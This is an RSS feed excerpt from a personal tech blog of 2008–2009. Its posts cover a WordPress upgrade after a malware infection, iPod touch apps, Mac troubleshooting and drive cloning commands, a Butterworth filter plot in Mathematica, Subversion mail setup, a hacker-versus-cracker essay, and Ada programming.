		<description><![CDATA[Just finished upgrading WordPress to 2.7.1 with a totally new user interface. I still prefer the one in 2.6.x so I guess I need a little time to get use to the new UI. The upgrade is inevitable because some of my sites were affected by Yahoo! Counter  malicious malware. It is a nasty injection [...]]]></description>
			<content:encoded><![CDATA[<p>Just finished upgrading WordPress to 2.7.1 with a totally new user interface. I still prefer the one in 2.6.x so I guess I need a little time to get use to the new UI.</p>
<p>The upgrade is inevitable because some of my sites were affected by Yahoo! Counter  malicious malware. It is a nasty injection of script. I could not locate where it was injected and my web host wasn&#8217;t very helpful. I decided to upgrade, hopefully, to wipe out the code injection.</p>
<p>Now, I have to file a request to Google to clear the malware listing of my sites.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/03/05/the-new-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discover your iPod touch</title>
		<link>http://adrianhoe.com/adrianhoe/2009/02/04/discover-your-ipod-touch/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/02/04/discover-your-ipod-touch/#comments</comments>
		<pubDate>Tue, 03 Feb 2009 18:30:18 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Gadgets]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[iPod Touch]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1471</guid>
		<description><![CDATA[One of my most desired applications on iPod touch is to be able to take PDF and source code anywhere I go for discussion without taking a MacBook with me. The good thing about iPod touch is its ability to sneak into my shirt pocket or in a carrying pouch on my belt. Sometimes taking [...]]]></description>
			<content:encoded><![CDATA[<p>One of my most desired applications on iPod touch is to be able to take PDF and source code anywhere I go for discussion without taking a MacBook with me. The good thing about iPod touch is its ability to sneak into my shirt pocket or in a carrying pouch on my belt. Sometimes taking a MacBook along just for the purpose of viewing a PDF or some source code is deemed to be cumbersome. One obvious problem is that I have to carry my MacBook in the bag anywhere I go, for example, shopping. It is risky to leave the MacBook in the trunk. Many theft cases have been reported.</p>
<p><em><a href="http://bbase.mobi/discover/" target="_blank">Discover</a></em> is the best application that allows me to wirelessly transfer my files to iPod touch and view it. It is free and secured. Unlike other free applications of the same class, <em>Discover</em> is only limited to physical storage available on your iPod touch. It supports many file formats such as PDF, Office document formats (which I don&#8217;t use), and Unicode support (C/C++, Objective-C and more). Unfortunately, it does not recognize Ada source files. I hope BBase will support Ada in coming release.</p>
<p>Download <em>Discover</em> from iTunes store and install into iPod touch. Just launch <em>Discover</em> and connect (using any WebDAV enabled browser) to iPod touch with the IP address provided on the iPod screen. You can setup secured access with passwords to protect your iPod touch from unauthorized access.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/02/04/discover-your-ipod-touch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPod Touch</title>
		<link>http://adrianhoe.com/adrianhoe/2009/01/29/ipod-touch/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/01/29/ipod-touch/#comments</comments>
		<pubDate>Thu, 29 Jan 2009 14:57:56 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[iPod Touch]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1462</guid>
		<description><![CDATA[I received my 2nd generation iPod Touch 16GB today. I tried to make unboxing video but the result was not as good as I expected. Sorry guys. May be next time. After I took it out from the box, I put it on screen protector film and soft silicon skin right away. I have heard [...]]]></description>
			<content:encoded><![CDATA[<p>I received my 2nd generation iPod Touch 16GB today. I tried to make unboxing video but the result was not as good as I expected. Sorry guys. May be next time.</p>
<p>After I took it out from the box, I put it on screen protector film and soft silicon skin right away. I have heard and read about scratching screen, drops and oily finger marks on iPod Touch and iPhone. I think it is good to protect my investment.</p>
<p><img class="alignnone" src="http://adrianhoe.com/adrianhoe/images/blog/2009/IMG_3557s.JPG" alt="" width="400" height="267" /></p>
<p>I have an iPod nano which my sister gave me more than a year ago. I seldom use it but most often I use it to listen to podcasts and some music. The reason for me to acquire an iPod Touch is to explore some ideas and to develop some useful software for it.</p>
<p>iPod Touch is a very powerful device besides music and video playing. It is in fact a powerful PDA for many applications in my opinion.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/01/29/ipod-touch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A good head start</title>
		<link>http://adrianhoe.com/adrianhoe/2009/01/01/a-good-head-start/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/01/01/a-good-head-start/#comments</comments>
		<pubDate>Thu, 01 Jan 2009 15:46:31 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Holidays]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[iPod Touch]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1397</guid>
		<description><![CDATA[Happy New Year 2009 buddies! It seems like a good head start for me. Everything I planned for today seems to be smooth sailing although I am having one problem which I do not know why it happens. I guess I will need to toy with it and/or hack it to learn why it isn&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>Happy New Year 2009 buddies!</p>
<p>It seems like a good head start for me. Everything I planned for today seems to be smooth sailing although I am having one problem which I do not know why it happens. I guess I will need to toy with it and/or hack it to learn why it isn&#8217;t behaving as it supposed to be. If everything is running perfect before end of this month, I will acquire an iPod Touch to proceed further. This will be my first wish on this very first day of 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/01/01/a-good-head-start/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finder hang in Leopard</title>
		<link>http://adrianhoe.com/adrianhoe/2008/10/23/finder-hang-in-leopard/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/10/23/finder-hang-in-leopard/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 13:49:37 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[DivX]]></category>
		<category><![CDATA[Finder]]></category>
		<category><![CDATA[Leopard]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1269</guid>
		<description><![CDATA[When I returned home this evening, LA told me her applications had hung. I checked and found not only that, the Finder was not responsive too. I had no choice but to power off and to restart the Mac Mini again. This had also affected my user account. The Finder had failed to launch after [...]]]></description>
			<content:encoded><![CDATA[<p>When I returned home this evening, LA told me her applications had hung. I checked and found not only that, the Finder was not responsive too. I had no choice but to power off and to restart the Mac Mini again. This had also affected my user account. The Finder had failed to launch after login and the Dock did not appear as well. But fortunately root user account was not badly affected.</p>
<p>I Googled and found some articles and solutions <a href="http://discussions.apple.com/thread.jspa?threadID=1197076&amp;tstart=0" target="_blank">here</a>, <a href="http://www.lildude.co.uk/finder-hang-after-leopard-upgrade/" target="_blank">here</a> and <a href="http://support.apple.com/kb/TS1545?viewlocale=en_US" target="_blank">here</a>. I exhausted all the methods and I did not have DivXNetworks and ApplicationEnhancer.bundle in the directories mentioned in these links. I decided to go my own way.</p>
<p>What I did was to delete everything that was related to DivX. Since I did not have DivXNetworks, so I removed DivX folders in &#8220;/Library/Application Support&#8221; and &#8220;~/Library/Application Support&#8221; and also the DivX programs in Applications.</p>
<p>After the deletion, Finder still could not launch properly. I launched Console.app to examine system logs and found some errors in cache files com.apple.LaunchedServices*. I removed everything with com.apple.LaunchedServices in /Library/Caches.</p>
<p>Viola! Everything is back to normal again. DivX is a third party enhancement software and is not very stable. It seems like DivX has messed up with the system caches and somehow prevented Finder to launch.</p>
<p>I have spent two and half hours mingling with this problem. I hope my experience will save some of your time if you have the same problem as mine. I am going to take my supper.</p>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/10/23/finder-hang-in-leopard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Butterworth low-pass filters</title>
		<link>http://adrianhoe.com/adrianhoe/2008/09/04/butterworth-low-pass-filters/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/09/04/butterworth-low-pass-filters/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 16:14:07 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Mathematics]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[analog signal processing]]></category>
		<category><![CDATA[Butterworth]]></category>
		<category><![CDATA[filter]]></category>
		<category><![CDATA[Mathematica]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1099</guid>
		<description><![CDATA[I was reading about Butterworth low-pass filters since two weeks ago. Signal processing was not my favorite but this particular linear analog electronic filter had somehow captured my attention. I have interns working on some projects. One project uses Butterworth low-pass filters to process signal acquired from some sensors. I have to verify their works [...]]]></description>
			<content:encoded><![CDATA[<p>I was reading about Butterworth low-pass filters since two weeks ago. Signal processing was not my favorite but this particular linear analog electronic filter had somehow captured my attention. I have interns working on some projects. One project uses Butterworth low-pass filters to process signal acquired from some sensors.</p>
<p>I have to verify their works using <em><a href="http://wolfram.com" target="_blank">Mathematica</a></em> on Mac OS X for data modeling. But there is a problem with this software. It does not have a built-in function of Butterworth low-pass filter so I need to build one.</p>
<p>The gain G(ω) of an <em>n</em>-order Butterworth low pass filter is given in terms of transfer function H(s) as:</p>
<p><img class="aligncenter" src="http://adrianhoe.com/adrianhoe/images/blog/2008/butterworth_equation.jpg" alt="" width="269" height="77" /></p>
<p>where ω<sub>c</sub> is break frequency.</p>
<p>The Mathematica code with break frequency normalized at 1 rad/s:</p>
<pre><code>
butterworth[w1_, w2_, o_] = 1/(1 + (w1/w2)^(2*o));

LogLinearPlot[
 Evaluate[Table[
   10*Log[10, butterworth[w1, 1, order]], {order, 5}]], {w1, 0.01, 100},
  PlotRange -&gt; {-100, 0}, PlotPoints -&gt; 100, ImageSize -&gt; 400]
Export["butterworth.jpg", %]
</code></pre>
<div class="wp-caption alignnone" style="width: 410px"><img title="Butterworth" src="http://adrianhoe.com/adrianhoe/images/blog/2008/butterworth_graph.jpg" alt="Plot of the gain of Butterworth low-pass filters of the n-order 1 through 5." width="400" height="256" /><p class="wp-caption-text">Plot of the gain of Butterworth low-pass filters of the n-order 1 through 5.</p></div>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/09/04/butterworth-low-pass-filters/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ada Obsession</title>
		<link>http://adrianhoe.com/adrianhoe/2008/06/17/ada-obsession/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/06/17/ada-obsession/#comments</comments>
		<pubDate>Tue, 17 Jun 2008 13:25:42 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[KazeServer]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=759</guid>
		<description><![CDATA[Well, well, well. Kazeserver alpha RC1 has to be delayed due to some design issues and I am rewriting most part of the software so that the source can be understood easily. For the past two weeks, I was troubled by the old design but I have got a new picture now. Isn&#8217;t Ada code [...]]]></description>
			<content:encoded><![CDATA[<p>Well, well, well. Kazeserver alpha RC1 has to be delayed due to some design issues and I am rewriting most part of the software so that the source can be understood easily. For the past two weeks, I was troubled by the old design but I have got a new picture now.</p>
<p>Isn&#8217;t Ada code easy to understand? Well, yes. But I was using a lot of <em>Unbounded_String</em> in records which made my code hard to read and understood. While <em>Unbounded_String</em> is compatible with database operation, it lacks the understandability and readability if compared to <em>String (1 .. 10)</em> for example.</p>
<p>Today, I am totally obsessed in Ada and am feeling the strongest Ada obsession after a couple of years. The feeling is still burning. If my Ada obsession keep burning, I believe I can release KazeServer for alpha testing before of June. Hopefully.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/06/17/ada-obsession/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subversion client hangs after post-commit</title>
		<link>http://adrianhoe.com/adrianhoe/2008/06/09/subversion-client-hangs-after-post-commit/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/06/09/subversion-client-hangs-after-post-commit/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 08:29:52 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[SCM]]></category>
		<category><![CDATA[Exim]]></category>
		<category><![CDATA[sendmail]]></category>
		<category><![CDATA[Subversion]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=749</guid>
		<description><![CDATA[I had been hit by this problem since I setup Subversion on Ubuntu in January. The svnserve was properly invoked on Ubuntu server but whenever any svn client was trying to commit something back to the server, the client would hang for hours before it prompted an error: &#8220;Connection reset by peers.&#8221; I searched all [...]]]></description>
			<content:encoded><![CDATA[<p>I had been hit by this problem since I setup Subversion on Ubuntu in <a href="http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/" target="_blank">January</a>. The <em>svnserve</em> was properly invoked on Ubuntu server but whenever any svn client was trying to commit something back to the server, the client would hang for hours before it prompted an error: &#8220;Connection reset by peers.&#8221;</p>
<p>I searched all the Subversion and Ubuntu forums but could not find any solution to my problem. In the past months, I tried to identify the source of the problem and even tried many solutions suggested by people on these forums but the problem persisted. I had been committing to svn server with post commit email notification turned off and lost quite a number of post commit message. I used to keep track of changes by these email notification.</p>
<p>Yesterdat, I was trying my luck again and I accidentally noticed <em>sendmail</em> and <em>sendmail-mta</em> were called after commit. A look into syslog confirmed that sendmail process was put into sleep by some unknown reason. Failing to identify the cause, I removed sendmail and related packages from my Ubuntu server and installed <em>Exim4</em>. It is claimed to be easier to installed and configured than sendmail. The problem diminished after I got exim4 up and running. Now I am able to receive post commit email notification after every svn commit. Every commit takes a few seconds to complete after this. Problem resolved.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/06/09/subversion-client-hangs-after-post-commit/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>HOWTO &#8211; Clone your Mac OS X hard drive</title>
		<link>http://adrianhoe.com/adrianhoe/2008/05/22/howto-clone-your-mac-os-x-hard-drive/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/05/22/howto-clone-your-mac-os-x-hard-drive/#comments</comments>
		<pubDate>Thu, 22 May 2008 04:16:49 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[asr]]></category>
		<category><![CDATA[Leopard]]></category>
		<category><![CDATA[MacBook]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=729</guid>
		<description><![CDATA[First of all, why do I need to clone the hard drive? Good question though. Here are a few possible answers: I have too much money to spend for a spare hard drive to clone my Mac hard drive. I want to have a bootable external hard drive, installing on an external USB hard drive [...]]]></description>
			<content:encoded><![CDATA[<p>First of all, why do I need to clone the hard drive? Good question though. Here are a few possible answers:</p>
<ol>
<li>I have too much money to spend for a spare hard drive to clone my Mac hard drive.</li>
<li>I want to have a bootable external hard drive, installing on an external USB hard drive is not possible.</li>
<li>I want to upgrade my Mac&#8217;s hard drive, and I don&#8217;t want to do the installations and setup all over again</li>
</ol>
<p>Obviously number 3 is my answer. I acquired a bigger capacity hard drive to <a href="http://adrianhoe.com/adrianhoe/2008/04/25/time-machine/" target="_blank">upgrade</a> my current 120GB hard drive in my MacBook. After some Googling around, I found an answer.</p>
<p>There is an Apple utility program called Apple restore or <em>asr</em> located in <em>/usr/sbin</em>. Connect your external USB hard drive and format it using Disk Utility. Open the Terminal in Applications -&gt; Utilities. Type the following command line into the Terminal to copy your hard drive over your external drive.</p>
<pre><code>% sudo asr -source /Volumes/OSX BOOT VOLUME NAME/ -target /Volumes/TARGET VOLUME NAME/
</code></pre>
<p>Replace &#8220;OSX BOOT VOLUME NAME&#8221; and &#8220;TARGET VOLUME NAME&#8221; with actual volume names. <em>asr</em> will take quite some time to copy the contents of hard drive to external hard drive. Get a cuppa, pop in your iPod earphone and relax.</p>
<p>When <em>asr</em> completes the execution, it will print a message:</p>
<pre><code>asr: did not copy blessed information to target, which may have missing or out-of-date blessed folder information.
</code></pre>
<p>Then, <em>bless</em> your target drive with this:</p>
<pre><code>% sudo bless -folder /Volumes/TARGET VOLUME NAME/System/Library/CoreServices
</code></pre>
<p>Now, the hard drive is bootable. Restart your Mac and hold down &#8220;option&#8221; key. A screen will appear allowing to choose which volume to boot from.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/05/22/howto-clone-your-mac-os-x-hard-drive/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Hacker and Cracker</title>
		<link>http://adrianhoe.com/adrianhoe/2008/05/21/hacker-and-cracker/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/05/21/hacker-and-cracker/#comments</comments>
		<pubDate>Wed, 21 May 2008 08:57:08 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=725</guid>
		<description><![CDATA[I received an email from my sister, M. In her email, she pointed out I should not label myself as &#8220;hacker&#8221;. Well, I could not agree to her opinion so I decided to write this post entry to clear the name for all hackers. Many people have watched too much Hollywood movies and have developed [...]]]></description>
			<content:encoded><![CDATA[<p>I received an email from my sister, M. In her email, she pointed out I should not label myself as &#8220;hacker&#8221;. Well, I could not agree to her opinion so I decided to write this post entry to clear the name for all hackers.</p>
<p>Many people have watched too much Hollywood movies and have developed a perception that hackers are bad guys. They do not understand, nor can distinguish the difference between <em>Hacker</em> and <em>Cracker</em>.</p>
<p>Very well, Hacker and Cracker are like Good Sorcerer and Bad Sorcerer. Hackers are generally referring to a group of programmers or software engineers who dwell into codes of a computer system to find faults or loop holes so that the functionality, usually, security of the computer system can be improved. Hackers are also contributing to many open source device drivers to be used in open source software such as Linux. They study how a device communicates with a computer system without any documentation from the manufacturer (sometimes, some device manufacturers are reluctant to release technical information fearing their competitors may steal their secrets) and write codes to allow the device to communicate with the operating system.</p>
<p>Some hackers visit websites to look for security loop holes and put a file there to indicate their successful hack. Usually, they cause no disruption or damage but to alert system administrator of such security vulnerabilities. One of my website was hacked by hacker from Turkey last week. No damage or disruption caused but simply alerted me of security vulnerability. I quickly corrected the security flaw.</p>
<p>Hackers also study computer codes (binary or source) to learn about a computer software system so to rebuild another similar computer software system for the interest of know-how or to improve the software system. Instead of hacking, reverse engineering best described this type of activity.</p>
<p>Crackers, on the other hand, have the intention to harm or steal. They look for security vulnerabilities to get access into your computer system to cause disruption or steal your information for illicit purposes. Their ultimate goal is to cause damage or to gain something from you to be used for illicit activities, such as stealing your financial accounts or credit cards data for their financial gain.</p>
<p>There are many hacker organizations, for instance, <a href="http://blackhat.com" target="_blank">BlackHat</a>. It holds many international technical conferences and training around the world to improve information security.</p>
<p>Laypersons who do not understand the meaning of hacker generally think hacker is a bad guy. Being a hacker myself (sometimes), I just want to clear the name for hackers. And to show the good nature of a hacker, please read <a href="http://adrianhoe.com/adrianhoe/2006/10/21/wireless-email-security-compromised/" target="_blank">here</a> and <a href="http://adrianhoe.com/2006/10/22/secure-wireless-email-on-mac-os-x/" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/05/21/hacker-and-cracker/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Mathematics &#8211; The Systematic Reasoning</title>
		<link>http://adrianhoe.com/adrianhoe/2008/05/21/mathematics-the-systematic-reasoning/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/05/21/mathematics-the-systematic-reasoning/#comments</comments>
		<pubDate>Tue, 20 May 2008 17:50:58 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Mathematics]]></category>
		<category><![CDATA[Pascal]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Apple II]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Commodore]]></category>
		<category><![CDATA[CP/M]]></category>
		<category><![CDATA[Delphi]]></category>
		<category><![CDATA[FORTRAN]]></category>
		<category><![CDATA[systematic discipline]]></category>
		<category><![CDATA[systematic reasoning]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=716</guid>
		<description><![CDATA[I remembered the way my mathematic teachers taught maths in class. Although none of them explained why we must learn maths, as it was the way supposed to be, they taught me systematic problem solving. I began to appreciate the beauty of mathematics when I started immersing myself in programming. The algorithm development and language [...]]]></description>
			<content:encoded><![CDATA[<p>I remembered the way my mathematic teachers taught maths in class. Although none of them explained why we must learn maths, as it was the way supposed to be, they taught me systematic problem solving. I began to appreciate the beauty of mathematics when I started immersing myself in programming. The algorithm development and language constructs which are based on mathematics fascinate me with its beauty.</p>
<p>A good programming language teaches us systematic discipline and systematic reasoning. The first programming language which I learned was Commodore BASIC. I hated that. I learned half way (as the matter of fact, 2 days) and I switched to Apple Basic. In the mid 1980s, Apple II was the most popular home computer after Commodore VIC 20. Apple II that ran Apple DOS caught on the wagon very fast. The most common programming tool on Apple II was of course Apple BASIC. That was my first programming language and I had written many programs with it.</p>
<p>Then I was exposed to FORTRAN 77. The language construct was pretty much like Apple BASIC. I caught on with FORTRAN pretty fast. Then under some influences from friends whom I met at the computer center, I learned Apple Pascal. We challenged one another to increase the boot speed of Apple DOS. We rewrote Apple DOS with Apple Pascal and evidently increased the booting speed of Apple DOS.</p>
<p>Pascal is a very structured language (compared to Apple BASIC and FORTRAN 77) invented by Professor Niklaus Wirth to teach students programming and  systematic reasoning. The structural construct of the language enable the programmer to think of the problem in a structural approach. Pascal cultivates structural discipline in solving programming problems. Pascal has provided me most of the necessary training in systematic discipline and systematic reasoning in solving problems.</p>
<p>When CP/M was introduced on Apple II, I was able to use UCSD Pascal on CP/M enabled Apple II machines. It won&#8217;t be long before IBM and IBM compatibles (8086) stirred up a turmoil with MS-DOS. Then, Turbo Pascal (by Borland) emerged. Turbo Pascal was the lightest and fastest compiler at that time. I became addicted in writing computer programs with Turbo Pascal.</p>
<p>Then I caught on with C and C++ and began to develop software with Borland&#8217;s Turbo C/C++ compiler. When MS Windows became a de-facto standard on every desktop computers, I dwelled into Borland&#8217;s Delphi (based on Object Pascal) to develop GUI applications.</p>
<p>During Apple CP/M era, I was exposed to Ada. I discovered Ada compiler by accident in another computer shop. I bought the program without thinking twice. Of course, it was a pirated copy. There was no copyright law then. But thanks to the pirated Ada compiler, otherwise I would not know such beautiful programming language has ever existed!</p>
<p>In 1995, I started to learn Ada when books were available. In no time, I fell in love with Ada until today. Whenever I was told or perhaps requested to look at computer programs written in any other languages, e.g. PHP, Visual Basic, C/C++ and etc., I feel that represent an insult to mind trained in systematic reasoning as in Pascal papers which Professor Wirth wrote.</p>
<p>Ada and Pascal are very alike because Ada developers had adopted Pascal&#8217;s structural language construct. Both Ada and Pascal clearly represent logical expression without any difficulties. Both languages are constructed heavily based on mathematic concepts and thus enforce systematic discipline and systematic reasoning.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/05/21/mathematics-the-systematic-reasoning/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Virtualization &#8211; Installing Ubuntu Linux with VMware on MacBook</title>
		<link>http://adrianhoe.com/adrianhoe/2008/05/14/virtualization-installing-ubuntu-linux-with-vmware-on-macbook/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/05/14/virtualization-installing-ubuntu-linux-with-vmware-on-macbook/#comments</comments>
		<pubDate>Wed, 14 May 2008 05:40:46 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Solaris]]></category>
		<category><![CDATA[core 2 duo]]></category>
		<category><![CDATA[intel]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[uranus]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[vmware fusion]]></category>
		<category><![CDATA[zeta ring]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=715</guid>
		<description><![CDATA[I have successfully installed 64-bit Ubuntu 8.04 (Hardy Heron) Linux on my Mac Book. Out of my expectation, the installation was rather quick and easy compared to installing Solaris 10. I had tried installing Solaris 10 on my Mac Book. Solaris installation was successful but I couldn&#8217;t boot into it. I wondered why. My Mac [...]]]></description>
			<content:encoded><![CDATA[<p>I have successfully installed 64-bit Ubuntu 8.04 (Hardy Heron) Linux on my Mac Book. Out of my expectation, the installation was rather quick and easy compared to installing Solaris 10. I had tried installing Solaris 10 on my Mac Book. Solaris installation was successful but I couldn&#8217;t boot into it. I wondered why.</p>
<p>My Mac Book sports an Intel Core 2 Duo 2.16GHz with 2GB RAM and 160GB hard drive. I am too skeptical to have 2 physical partitions on my hard drive. Thanks to VMWare Fusion, I can create virtual partition with it. After I have installed VMware Fusion 1.1.1, I created a Ubuntu-64-bit virtual partition and installed Ubuntu from the ISO disk image. With VMware Fusion, I can install directly from the disk image without having to burn a CD or DVD.</p>
<p>Since my Mac Book is codenamed Uranus, I called my Ubuntu on Mac Book, Uranus-Zeta. The idea is from the ζ-ring of Uranus</p>
<p>Like Linux, Mac OS X is a UNIX like operating system. Why do I need Linux? Well, there are a number of reasons. One being you can and another to learn new things. But these are not the reasons to motivate me. Being a software developer developing cross-platform software, I do tests on multiple platforms. Having Linux to run on my MacBook means I can develop and test my software on both Mac OS X and Linux environment without switching to my Linux/Solaris boxes. Another important reason is that I see the needs to support my clients on Linux arise and soon Solaris. Having the ability to run three different operating systems on one machine can be productive and versatile for me.</p>
<p>The other obvious reason is that I have a Core 2 Duo. Meaning I am having two 64-bit CPUs in one processor. It will be a waste of resources if I don&#8217;t utilize the computing power I already have. Assigning each CPU to run different operating systems and tasks is called virtualization.</p>
<p>With VMware Fusion, I can run Linux and Solaris side-by-side with Mac OS X without the need to boot into anyone of them at one time. This is a great feature when supporting clients in Mac OS X, Linux and Solaris.</p>
<p>Here are some screen shots (click to enlarge) of Uranus-Zeta:<br />
<a href="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-1.png" target="_blank"><img src="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-1-small.png" alt="" width="400" height="250" /></a></p>
<p><a href="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-2.png" target="_blank"><img src="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-2-small.png" alt="" /></a></p>
<p><a href="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-3.png" target="_blank"><img src="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-3-small.png" alt="" /></a></p>
<p><a href="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-4.png" target="_blank"><img src="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-4-small.png" alt="" /></a></p>
<p><a href="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-5.png" target="_blank"><img src="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-5-small.png" alt="" /></a></p>
<p><a href="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-6.png" target="_blank"><img src="http://adrianhoe.com/adrianhoe/images/blog/2008/zeta/uranus-zeta-6-small.png" alt="" /></a></p>
]]></content:encoded>
